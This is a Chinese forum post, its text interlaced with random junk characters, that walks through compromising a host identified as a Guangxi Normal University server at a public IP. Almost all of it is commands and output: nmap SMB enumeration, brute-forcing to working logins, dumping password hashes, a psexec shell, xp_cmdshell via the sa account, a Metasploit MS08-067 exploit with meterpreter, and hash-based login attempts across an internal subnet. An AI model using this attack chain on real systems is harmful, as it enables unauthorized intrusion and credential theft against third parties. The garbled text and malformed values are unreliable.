广西师范网站http://202.103.242.241/
7 l! }$ _- z$ _! e" y7 }) b5 n' s9 J' J
root@bt:~# nmap -sS -sV 202.103.242.241
: [& T$ J" i* Y/ b. g
# m3 T" y# T1 N! L Z; cStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST& S {% \, k% b+ Z% V) H1 Y
% @( K- b: M% Z9 y; T
Nmap scan report for bogon (202.103.242.241)- f. [( _* M* v* }; W, R
# s6 p# s } _4 }8 n* r* U
Host is up (0.00048s latency).! L( ~) h* e. u+ d$ o! D
9 N1 d4 s: v1 Q, M5 fNot shown: 993 closed ports- I5 ~8 Z. |% c4 p$ ]0 ]
& `0 Q$ t4 z8 k4 l4 d8 s
PORT STATE SERVICE VERSION
U; a% C+ t* _2 n6 Y
7 O6 g: y7 f' Y7 f; a' U135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
& b- t9 a0 |1 l; I" F$ O2 p; E/ `. n. l
139/tcp open netbios-ssn4 ^$ [% T9 u- C* Z" q# W* G; t7 S
: U6 c8 k0 J! h' E m! X" B' ]1 Y445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
9 G# `. I3 c) C* P" U+ d/ g7 I J# p, w9 ?3 g2 U6 I
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
" j4 W! a; C; q0 K7 }3 z: @% x3 A, ^0 G; R/ r# r* c0 c$ _2 |& X1 |
1026/tcp open msrpc Microsoft Windows RPC
! R8 o/ x" W* ^) S( I: j" j1 z
4 F3 [5 E; k, @; i# L. i3372/tcp open msdtc?
) x s" q( [+ J
! h& D, B+ f* Z T3389/tcp open ms-term-serv?" t# ^7 Q8 g% E# O7 o+ [! V8 R
) i; j" D/ N+ R0 P0 U$ d# h
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :3 y4 b- i1 v/ I1 ]& @0 o) R
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
" s/ R) }. ^3 `3 {! |5 n0 v3 L6 q
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions( R0 H& D" t' D" R# n2 N& \
1 T) H) u" _8 F; JSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)& m& c+ ]2 V% i; {! z
/ y9 j/ x( G0 B) q% f, lSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
. A& B3 D" U, X! O2 L' r' j3 W, o& @! m' w1 s$ S- {
SF:ptions,6,”hO\n\x000Z”);
" f# C1 O! Y* o+ l) q3 h
0 a5 }; Z$ y( ]9 _9 YMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
4 f1 O: l9 G* T4 U5 M% v1 H
: f4 w! O1 P( x. z7 c0 TService Info: OS: Windows: x K; ?8 F0 G6 l+ Y
' _: B& O E) U6 x/ j, X
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
+ [$ g$ r* z" F3 C% j7 o3 ]
0 R/ V/ k# B* NNmap done: 1 IP address (1 host up) scanned in 79.12 seconds
% r/ _% h B2 h: \3 y
* f8 U [. G2 w0 s0 ]( T6 eroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本1 U4 K9 m5 k4 `5 y) u9 ~+ Z
5 c! w- i3 U$ W0 W
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
% T/ m7 ]0 k, u; R- b: e$ W5 ]& ?
0 t$ R ?' w' F1 @-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
! V; o, m7 {% O+ |7 W' w6 y5 g a+ m4 u6 g; E8 b4 s9 O: g
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse" q' Z7 F* _: [3 G7 l1 f6 ?
$ K, D) J0 P* [. ~-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
4 h4 o# _4 L4 l2 b4 f7 G2 h1 d* q: h3 R
-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse( _3 m5 }8 M! |, r
6 l* w$ j) D H6 a) [7 p-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse- i* ]; C- d( {; ?" A' H
$ F, W3 ]4 O( _-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
* U- H+ o2 l* h% @
0 z& v; U* j( j+ e( r$ l-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
! v) Z$ a& v |4 r2 i+ T3 ~/ m1 W. T& z/ }9 \; z* O& L/ p
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse$ ]+ a9 m$ v% c0 X
' f2 C6 A! l) ` O-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse, X0 r, E, B6 E. U* l1 L, {% R
# M( |% C% b7 u' }) N
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
0 w3 ~; d) h, Z( a
8 P$ a" j8 m0 t* i! s7 K-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
2 j# X/ l! I- B% u$ s5 F' B" O0 b8 {; {2 A. u
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
9 y- D2 J3 d. M0 J, s8 r
& l8 D4 \8 U# H2 Y+ [, R-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
0 }2 j3 V A% |# z6 r6 O9 {+ v
% L1 ]/ w) q6 G( v h0 Z-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
4 T- D: R. _& E9 t& b- H) }+ r9 ?" D4 e. }5 F, Y+ T# l7 ^, T
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 % T& ]) u% _7 O% c( l$ l/ |4 w
! h; b4 m. ~, e! N) `//此乃使用脚本扫描远程机器所存在的账户名! a5 h: u! E8 b3 Z) g7 J
: B* j6 n+ O1 W$ u1 K. {Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
, ~ r# y; _/ W/ C2 H; U8 U) w: r% M# b t3 q9 ?( \
Nmap scan report for bogon (202.103.242.241)& X6 o( T- e& F/ z
1 A: m+ l }8 j* L# { F! X5 g
Host is up (0.00038s latency).
: M! {0 k6 }( b) E3 j& T! }6 Z6 S/ O! M
Not shown: 993 closed ports
( j5 y# z. b8 [, i, h0 O
0 n* s* A+ O$ U5 R9 cPORT STATE SERVICE+ ~: ], c" z* B! m& c5 V. ~+ C0 L! P8 v
3 s3 y4 o/ X" y) S d! @ \* k9 R
135/tcp open msrpc
- n$ B; B- V5 M! x! s( f" U6 w0 b0 t J- y; a. r
139/tcp open netbios-ssn
# R l0 k* K0 ?# Y- J2 U
4 E! u0 O) z" i3 l8 {6 U5 Z445/tcp open microsoft-ds
7 B& x% O* ^4 l P" h
. g# h- ^5 O. C1 D1025/tcp open NFS-or-IIS6 `0 D+ F7 n# q/ h9 a( Y" I
% N6 w. w! F4 k' D* N4 {9 k4 C% R1026/tcp open LSA-or-nterm
K- K) Q$ u' C/ l/ p
: k0 L4 f2 W( w8 k; w$ H7 c3372/tcp open msdtc
Q! T' U. G2 U2 D
. `% ~& J1 @/ ?+ g3 R) a: U3389/tcp open ms-term-serv; K' C, X% Z8 E% u
8 u, e, V+ @8 A" qMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)6 E" y' }: M" M8 J. U2 D5 M4 w+ f
W$ [, W) v+ Y% e i0 f
Host script results:
`- d/ ], z o5 `) Z5 w" H% {
' _, h: Y; H3 U| smb-enum-users:; a* V$ m) Y' H4 K6 t
, p5 d+ Q$ V! C" [/ D9 e4 L3 W
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果1 x5 V1 R) L! D* E
+ ?0 s% V$ g& b+ i6 U! X! DNmap done: 1 IP address (1 host up) scanned in 1.09 seconds
+ m! c6 U* [" X+ Q
2 x3 @+ _0 k0 ]7 r: Sroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
- _1 c, _; Y8 q9 O
! v- b7 @! {: C$ A$ p//查看共享) a: P) C6 Z1 d5 ]
^; L3 U2 d. G( c1 l9 c* D# _+ N
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST0 _8 K8 s9 j; t& Q% v# F
4 t1 a7 S/ `) h. O3 T
Nmap scan report for bogon (202.103.242.241)# g$ f- x% _7 j( s
/ J! V9 }0 S5 D( O! |1 bHost is up (0.00035s latency).% T" p0 X: h* ?4 W( @) N. N$ x e p: L
5 W& M6 N( e# t/ M
Not shown: 993 closed ports
l' [. ~7 Z1 @- c4 V9 r3 P. Y
' \+ [9 S8 ^& p4 CPORT STATE SERVICE
8 M: ?5 x4 C+ i8 R
' L+ ^$ o5 O1 U4 M' \135/tcp open msrpc
; s' k# F4 g( X f3 n2 T0 s# g+ d4 f ]. H; F( t/ c
139/tcp open netbios-ssn
# b \. K S# {: }, J
2 P8 t: |5 i2 X+ @) n445/tcp open microsoft-ds4 F6 r# ?: m; V! s$ A
, Q5 y L( y! ^- l1 U& R8 y) Y' b1025/tcp open NFS-or-IIS. _) | @9 ~' P" e' _
% W3 S/ X& C1 m3 G1026/tcp open LSA-or-nterm
- y: }) _! `* {: g
0 q5 g- h6 _' @ O3372/tcp open msdtc5 g% J3 C" ~$ }0 i
, z$ g9 q2 e U$ e/ q3389/tcp open ms-term-serv( S1 j. A0 ^3 c& |
1 t: w: E' S$ Q6 N
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)' A& W o3 {3 V4 q5 S
. _0 E6 Y8 k+ x2 P: O! C
Host script results:
$ S+ K( p) z+ c7 w
4 `+ c+ Y8 j9 M1 L5 W) o| smb-enum-shares:
: C/ G; m" u Z4 M& G4 g- w: F
| ADMIN$
. v" V; ^5 M% z) h& d0 m" u
1 K$ Z3 G) W& |4 b1 }' d| Anonymous access: <none>
# G, [+ V/ O8 | `5 J8 B# Z4 M' ~% L' k/ s3 }& Z. ]3 k5 X* e5 k2 E& a3 n
| C$+ s# J# b4 ^7 U! L
! }" k( `6 s0 q6 n9 l| Anonymous access: <none>: ?/ j" X: r- M( i7 Y" i! {& [
' l- t: K! U$ |. x9 w. \4 A
| IPC$
N; X1 F* A) i. f& h) T0 x% F- }% ~
|_ Anonymous access: READ
& N: m+ ]! O4 w3 f: X3 f1 [" I6 P7 @; g' Z' w! b
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
) k9 {2 w+ R- z/ z* E8 T6 z" K: H9 {
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
8 Y1 s1 d- k$ `( |; b: g
! ~# N+ {7 q3 U& }//获取用户密码0 G$ F6 k9 m( h0 s
+ ^& b! d; [( K% ]* Z+ ~5 C1 u
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST1 E8 }9 n& d4 b6 D7 v) Q I' r* x
2 v: ] n* S) E/ d/ `" V
Nmap scan report for bogon (202.103.242.2418)/ e) d( A# G6 n+ ?
4 H% o7 [2 _3 {5 k- D
Host is up (0.00041s latency).! @: d2 A/ I+ a/ p5 j1 t
' A+ w% D4 c2 ~0 L$ d) D" T$ v6 \Not shown: 993 closed ports
$ f) E6 |' b% d2 p" Y2 {# P& f3 j3 G8 K) U, G3 t" _$ v' L
PORT STATE SERVICE
4 Y5 h: W: G3 s; F0 ]' ]( A$ H1 m9 h" `* K. z8 Y" B9 c1 j
135/tcp open msrpc0 w2 a% I7 l0 v4 c& G9 i r/ ^4 n" n# F
9 ?2 J% ~4 A. g1 C139/tcp open netbios-ssn
4 u' u% M+ K' F$ q; m- v! X& G1 E) W/ w( }- n( Q
445/tcp open microsoft-ds/ g0 [2 f" Y$ O" ]7 @
* A% i8 q' B, U1025/tcp open NFS-or-IIS7 J% A/ k8 s: J* u3 E. ~
/ j; n! a. S) [0 x2 X6 v& N) O: e
1026/tcp open LSA-or-nterm
: R& a2 H" S- B' e8 t6 T' q' A( D' i# C" e: ~( A; R
3372/tcp open msdtc; [2 h8 f# }7 [& }+ A: ^! t& B1 g4 y
8 R" K9 {* h& ^6 H. v- p* K
3389/tcp open ms-term-serv5 \7 D, x7 I! ~ b9 M6 F
! K6 c( d8 E# r8 N) DMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
& Y" @2 v1 i2 g' r5 J/ P S8 b; a7 m, T
Host script results:6 k% Q/ N; x& e3 b, q( J
2 J3 A# Y& z$ E2 V| smb-brute:6 P+ K; g8 K0 o" @( r1 o
5 X- o7 e" d# l0 n B0 l7 ^/ C
administrator:<blank> => Login was successful
2 O+ i6 L& H& C# i! c$ Y {1 ~) \
9 W3 }# C* S& ~8 _, r|_ test:123456 => Login was successful$ @* E5 ~6 X. N4 o: k
) T: \' l; D+ P7 y: N4 ^3 H# z* ]( I& vNmap done: 1 IP address (1 host up) scanned in 28.22 seconds- D1 p- P/ a* O, p1 J
9 K7 \: y0 h/ ?! @/ {& A3 o& S% K
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
. z1 T w# ~! |' z/ r" \. `* S
7 D3 P. q8 X1 O# droot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data/ m6 ^& u4 F5 i0 s, U* S! u: |
8 q! X% t. Y0 F7 ^: u# y
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse, M7 S1 ~# o& q* O B; Q/ Z
Y) l# y* V. z* c; [
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
( j$ K1 @' m2 ~9 W9 r# N! V, u k3 }& U
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
3 [* J2 P7 |* M6 \% `
/ X$ u- ?- h- ^. _1 Q* g; x3 gNmap scan report for bogon (202.103.242.241)
. N& Y! b/ v0 n% C# T( S* Q+ ]' O7 Y% l: y U
Host is up (0.0012s latency)./ V- |# M& t/ k+ \% r& S# D- ?
! C% T1 R4 B6 q+ Q/ R& z0 C( o) yPORT STATE SERVICE
4 z/ s' Z2 P# v p) I
- _5 R8 f% }7 x/ ^1 G1 {135/tcp open msrpc
2 q: n# z" m8 @0 p! T5 S; X5 J/ z1 H5 ^6 c( r
139/tcp open netbios-ssn# M( n4 ^% K/ m
- f) w1 t4 g6 D5 l- Q, j8 }9 Z$ }445/tcp open microsoft-ds& y1 W! p4 a5 Y d9 U4 h
+ x. I# e! h, ]( G5 Y) E$ h: q
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)) r7 v P* w6 d
1 V0 K8 F0 b9 K0 d9 j. [
Host script results:
0 `# J( @, w# E
4 Y% B. H; W4 I" U: s8 f5 u, G| smb-pwdump:
0 [% T# C! R! l# I! S) M3 y5 E |8 \# L4 I4 ~
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
( s, e$ l' }- n/ m2 ], G* I% S
! h" J! I& I8 G' w% Y# Q) S| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************6 G# {# u+ v4 G" O8 n
% U8 l) i4 ]& U| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
; F3 W- U4 `% w6 }" `
5 N. B: D/ N7 E$ ]|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D23 l; O3 Y+ y9 J [( m; |! `- j
+ a4 B) H- n& ]* |2 X' X
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds( V# ], V; U/ k @: ]
. S# h6 w9 E. L l+ U1 k7 U B
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
* x' P* X0 _* {# ~' K5 t. i
/ M- p; q& B" h" F1 g$ F: f-p 123456 -e cmd.exe3 ^+ R4 Z/ B x2 y$ p; }9 n' |
: u! N* t2 H' i$ w/ R1 KPsExec v1.55 – Execute processes remotely! b& @; c' U5 [/ Q
( w! K; b- W% p" S* W. ?
Copyright (C) 2001-2004 Mark Russinovich
& K, S0 g: c0 C; n
0 ?( ?5 e1 G: X5 ISysinternals – www.sysinternals.com. q. n% S' ~, _- a
0 f$ z" F8 }; q& ~' p1 c1 oMicrosoft Windows 2000 [Version 5.00.2195]3 s& \. E9 K) N' t8 O
; z. _. \$ P5 p(C) 版权所有 1985-2000 Microsoft Corp.
: Q) [9 c) {4 U: y' E2 o+ w% u% y/ B1 i' @. |
C:\WINNT\system32>ipconfig
( g( ^: c7 A; A7 v5 h. W+ p" n6 b$ t2 b3 G
Windows 2000 IP Configuration# D: F% N" `3 U f1 d7 p+ F- E
|7 Y- L$ [3 O# l5 rEthernet adapter 本地连接:) C/ ]4 U1 ^4 @! l
( z- ~( `4 q9 c' k3 w& eConnection-specific DNS Suffix . :
, u) v' w. [9 h+ E
# C7 s8 @& B# @IP Address. . . . . . . . . . . . : 202.103.242.241* \6 d! g! r K" S
4 \( [( C; Z0 p$ q2 c% DSubnet Mask . . . . . . . . . . . : 255.255.255.0' p2 h* ^4 K% z7 {
: R3 Z" d( k2 G% i
Default Gateway . . . . . . . . . : 202.103.1.1
/ @9 L1 N# Z# j' Y1 S a
7 v6 Y" Z! C6 T$ BC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令, U8 Y6 W5 Q- r
7 v2 Q1 e, E4 c7 n& i! ~; k0 q
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
% s6 N( I# k% g9 b8 n1 u3 t% P# V9 o; C, I8 X9 s. l2 g& m) j
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
2 ]" z: X4 H6 [1 w9 L; x
6 \7 r! t. }$ uNmap scan report for bogon (202.103.242.241)
5 Z) v2 F& x2 T% M0 }! R# a
3 {& q" Q1 [$ g5 ^4 THost is up (0.00046s latency).- @* ?( t6 g) F2 F% ]
8 d0 x" [& d, Z; |Not shown: 993 closed ports
! a5 A: J4 J8 @1 @( P& R+ h) w0 |5 [& x. Y0 k7 ]& | u7 b% i
PORT STATE SERVICE
" a% t+ e( ^- }/ \2 j5 |" d/ o6 g$ Z- ~, X2 i8 {
135/tcp open msrpc/ V4 S0 m* w" n g. b. W
9 s/ J) C9 t8 O2 Y/ `
139/tcp open netbios-ssn }( [% [/ e2 f5 A6 [% |. M
4 A0 V/ W1 S' G$ }" _, a: o445/tcp open microsoft-ds# p; F5 g: V6 Q% L
+ U" Q5 H1 B0 S1 N8 B2 l
1025/tcp open NFS-or-IIS- b% B$ [) L) E. b0 t$ }: j
! T7 e" k+ {: C O0 B
1026/tcp open LSA-or-nterm: ]! |. `8 V5 [
6 G8 d- H6 u( v5 R
3372/tcp open msdtc
8 z5 t: j, u6 P- Y
, t& Z( L6 M) }3389/tcp open ms-term-serv
' t: O* {( k8 l& E& H% r: ^7 \
' O2 X* C4 I0 ]) h. P' [) CMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems) [( W& B+ r! Z! ^+ S0 K) ^
% \' i1 W4 N |2 o% z: L
Host script results:
: N) z+ X# z9 g6 K% a4 V0 o7 A) r5 ^" A! e0 U; n0 t+ {" A4 `
| smb-check-vulns:. T! l$ H5 I$ J3 N( G
. k; i& f4 N& a) M7 G6 o' Q# ?! }
|_ MS08-067: VULNERABLE- g$ q7 U) G( s
: L/ C" D" P! A4 V. LNmap done: 1 IP address (1 host up) scanned in 1.43 seconds; D) }# u( t+ |* Z& \
7 u+ o& c S3 B P
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
8 c% ?7 o4 H3 {$ I! X) ~1 g' U# m) O6 Z
6 u' |+ A% J# Tmsf > search ms08
! j2 D3 y; N8 Z0 l
0 O w+ g* N9 ^7 Y9 Zmsf > use exploit/windows/smb/ms08_067_netapi4 R: Z! Q, j1 B( C
$ Y4 G; [- }& C6 ^, tmsf exploit(ms08_067_netapi) > show options
, R5 Q6 T/ Z6 t F* Y% C6 e, e, M$ e, [ C5 ^
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241* I( m1 k! e3 I. H' O8 U# H
9 d0 B' |& B6 l' }5 I- |, dmsf exploit(ms08_067_netapi) > show payloads+ N; U; Q4 ~$ o7 U
7 j2 X/ y& M b# Q" Q: ^msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
; F, a& n& P! D$ l( M$ k9 u7 t3 b" S( L
msf exploit(ms08_067_netapi) > exploit
( ~- O2 S6 y) |/ V/ w1 K! D' g9 S! F/ B6 h u
meterpreter >
4 j/ t+ a- K5 d* B3 v3 ^
) K/ C% J! O* Q1 \, u) l0 S1 I) _Background session 2? [y/N] (ctrl+z)% H' S+ X0 t3 S) b2 V$ p& Y T6 n* g0 g
# `. d. _+ F) h- D, N! ~- x
msf exploit(ms08_067_netapi) > sessions -l9 j$ p1 ^: }+ H- q# ~' q
% i0 t7 @: p, \( u
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
2 U. D2 J0 W8 o5 i# b! c0 Y; A. }$ o5 e/ C
test5 X7 e8 p8 s/ ~8 h) Y' R" w
. `* `4 O- ~' a' padministrator
" H; K8 Y$ |3 ?3 _
4 b) u) a% Q6 f5 I4 k) [' Aroot@bt:/usr/local/share/nmap/scripts# vim password.txt! q& @) j" @3 g: O2 q
+ [, J. \0 C% U44EFCE164AB921CAAAD3B435B51404EE
8 B7 Q0 n ?( T( }5 ~' O; x( @, _' h* U* A
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
# g. T7 T- ^& R s
) g# [3 v% y8 V //利用用户名跟获取的hash尝试对整段内网进行登录* |# i4 c/ w/ k) B) g
. S% S& ~9 ]' E3 q4 h: zNmap scan report for 192.168.1.105# [# M- r1 s5 X( Z
3 N/ P$ h/ I2 W/ T
Host is up (0.00088s latency).
. a: A4 u4 g* l
, m Z" s; v" L0 {Not shown: 993 closed ports
8 w$ y& l4 f& P9 S$ W: P' A6 r9 {. m a. ~5 s
PORT STATE SERVICE- e; i0 S5 p# c, l3 x
1 y# R; [1 N+ G+ V' m
135/tcp open msrpc9 t" t- p' ]( y9 m2 u+ B
# L/ ?9 h4 O/ @
139/tcp open netbios-ssn+ g* f4 { M8 I) S3 b3 n" f/ S! K( `
3 a" Q; Y$ a" n% ?7 Q
445/tcp open microsoft-ds
6 ~9 p$ k4 h0 @2 m' ]$ ?* S6 c- c% U9 z% M5 J
1025/tcp open NFS-or-IIS( o, R! N+ k2 f% a/ _
% z# L& w- [1 X' j/ n/ J1026/tcp open LSA-or-nterm
9 Y8 {$ N8 d- Y. l& n% |+ N' U0 D* f5 T8 R+ ^
3372/tcp open msdtc) v- ]' k" }2 [, S b8 a2 j
" F* A0 ]) E, j" P9 r
3389/tcp open ms-term-serv
) Z2 l( d; O7 [6 k: Y, E' u; Z9 R6 B% S% ~
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
3 J0 ~, i `/ ?! ^9 p. q+ m4 }- F) ]0 Q% W5 Z
Host script results:
6 n8 d8 d. j# h4 u/ A( t! D
7 y; |) S; n% d| smb-brute:
6 N+ V. T; _0 v! _1 C# P, w7 ?2 y$ B {( D' i5 Z6 K$ u# }$ K& d
|_ administrator:<blank> => Login was successful( x$ e+ u* Y; O& n7 U9 U
: p" p- S& l; u* i8 Z7 C- h' y攻击成功，一个简单的msf+nmap攻击~~·' C! ?, d0 e; N& m
# g3 k2 u; ^6 s
|
发表于 2012-12-4 12:46:42
收藏
支持
反对